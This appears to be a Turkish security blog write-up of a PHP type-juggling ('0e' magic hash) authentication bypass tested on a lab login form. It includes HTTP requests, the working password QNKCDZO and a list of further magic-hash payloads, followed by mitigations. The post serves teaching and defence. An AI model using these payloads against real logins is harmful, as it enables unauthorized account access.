PHP gibi zayıf tür denetimi yapan dillerde, geliştiricilerin yaygın olarak karşılaştığı ancak çoğu zaman göz ardı ettiği bir güvenlik riski bulunmaktadır: Type Juggling (Tür Karıştırma). Bu zafiyet, özellikle kimlik doğrulama işlemlerinde zayıf karşılaştırma operatörlerinin (==) kullanılması durumunda, saldırganların sisteme yetkisiz erişim sağlamasına olanak tanır.

Bu yazıda, PHP 5.6.40 sürümünü kullanan bir uygulama üzerinde keşfedilen bir kimlik doğrulama atlama zafiyetini örnek vaka üzerinden detaylı olarak inceleyeceğiz. Zafiyetin nasıl tespit edildiğini, başarılı bir şekilde nasıl istismar edildiğini ve benzer zafiyetlerin nasıl önlenmesi gerektiğini adım adım ele alacağız.

Hedef Sistem Bilgileri

  • Sunucu Yazılımı: Apache/2.4.25 (Debian)
  • PHP Sürümü: PHP/5.6.40
  • Uygulama Türü: Web tabanlı oturum açma arayüzü
  • HTTP Yanıt Kodu: 401 Unauthorized (başarısız giriş denemelerinde)

Zafiyetin Tespiti

İlk etapta uygulamanın kimlik doğrulama mekanizması basit bir HTML formu aracılığıyla parola girişi yapılması bekleniyor:

<form method="post" action="">
    <label for="password">Password:</label>
    <input type="password" name="password" />
    <input type="submit" value="Submit" />
</form>

Yapılan incelemede, sadece password alanı kontrol edildiği ve herhangi bir username parametresine ihtiyaç duyulmadığı gözlemlendi. Ardından sunucuya bilinçli olarak hatalı formatta bir POST isteği gönderildi:

Gönderilen İstek:

POST / HTTP/1.1
Host: 10.0.3.13
Content-Type: application/x-www-form-urlencoded

password[password]=true

Sunucu Yanıtı:

<b>Warning</b>: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 75
<p class='message'>401 Unauthorized</p>

Bu hata mesajı, uygulamanın $_POST['password'] girdisini doğrudan md5() fonksiyonuna gönderdiğini ve herhangi bir tip kontrolü yapılmadığını açıkça ortaya koymaktadır.

Zafiyetin Teknik İncelemesi

PHP, == operatörünü kullanarak yapılan karşılaştırmalarda değişkenlerin türlerini otomatik olarak dönüştürür (type juggling). Bu durum, özellikle sayısal olarak ifade edilebilecek string'lerde beklenmedik sonuçlara yol açabilir.

Örnek:

var_dump("0e12345" == "0"); // bool(true)

PHP, "0e12345" değerini 0 * 10^12345 olarak bilimsel gösterime çevirir ve "0" ile eşit olduğunu varsayar. Bu davranış, özellikle md5 gibi zayıf hash fonksiyonlarının "0e..." formatında değerler üretmesi durumunda kritik hale gelir.

İstismar Senaryosu: 0e Hash Bypass

Aşağıdaki örnek kod, hedef uygulamada muhtemelen kullanılan karşılaştırma mantığını temsil etmektedir:

$stored_hash = '0e830400451993494058024219903391'; // Örnek zayıf hash
if (md5($_POST['password']) == $stored_hash) {
    // Kimlik doğrulama başarılı
}

Eğer kullanıcı tarafından girilen parola QNKCDZO olursa, ortaya çıkan md5 değeri şöyledir:

md5("QNKCDZO") == "0e830400451993494058024219903391"

PHP'de bu iki değer gevşek karşılaştırma ile eşit kabul edilir çünkü her ikisi de "0e..." formatındadır ve sayısal olarak 0 anlamına gelir.

İstismar Süreci

Deneme 1:

POST / HTTP/1.1
Host: 10.0.3.13
Content-Type: application/x-www-form-urlencoded

password=QNKCDZO

Sunucu Yanıtı:

  • HTTP 200 OK
  • 401 Unauthorized mesajı yer almıyor
  • Potansiyel oturum çerezi oluşturulmuş

Bu yanıt, uygulamanın parola kontrolünü geçerli kabul ettiğini ve oturum başlattığını göstermektedir.

Diğer Potansiyel Payload'lar

Aşağıdaki değerler, md5 fonksiyonu ile "0e..." formatında sonuç üreten bilinen değerlerdir:

Girdimd5 Çıktısı
2406107080e462097431906509019562988736854
aabg7XSs0e087386482136013740957780965295
s878926199a0e545993274517709034328855841020

Saldırganlar bu değerleri brute-force ile de üretebilir.

Güvenlik Önlemleri ve Öneriler

Güvenli Karşılaştırma Kullanın

Karşılaştırmalarda gevşek (==) yerine sıkı karşılaştırma (===) kullanılmalıdır:

if (md5($_POST['password']) === $stored_hash) {
    // Güvenli karşılaştırma
}

hash_equals() Fonksiyonu

PHP >=5.6 sürümünde gelen hash_equals() fonksiyonu, zaman tabanlı karşılaştırmaları da engelleyerek güvenli alternatif sunar:

if (hash_equals($stored_hash, md5((string)$_POST['password']))) {
    // Güvenli kimlik doğrulama
}

Tip Kontrolü Yapın

Kullanıcı girdileri daima doğrulanmalı ve beklendiği türde olup olmadığı kontrol edilmelidir:

if (!is_string($_POST['password'])) {
    die("Geçersiz giriş.");
}

Modern PHP Sürümlerine Geçiş

PHP 5.x sürümleri artık resmi olarak desteklenmemektedir. Uygulamaların güncel PHP 8+ sürümlerine geçirilmesi önerilir.

Sonuç

Bu yazıda incelenen zafiyet, yazılımcılar tarafından sıkça göz ardı edilen ancak etkisi büyük olabilen bir güvenlik açığını temsil etmektedir. Zayıf karşılaştırma operatörlerinin kullanımı, saldırganların çok düşük teknik bilgiyle dahi kimlik doğrulama mekanizmasını atlamasına olanak tanır.

Güvenli yazılım geliştirme süreçlerinde, kullanıcı girdilerinin doğrulanması, güvenli karşılaştırma yöntemlerinin kullanılması ve güncel yazılım sürümlerinin tercih edilmesi kritik öneme sahiptir.

Kaynaklar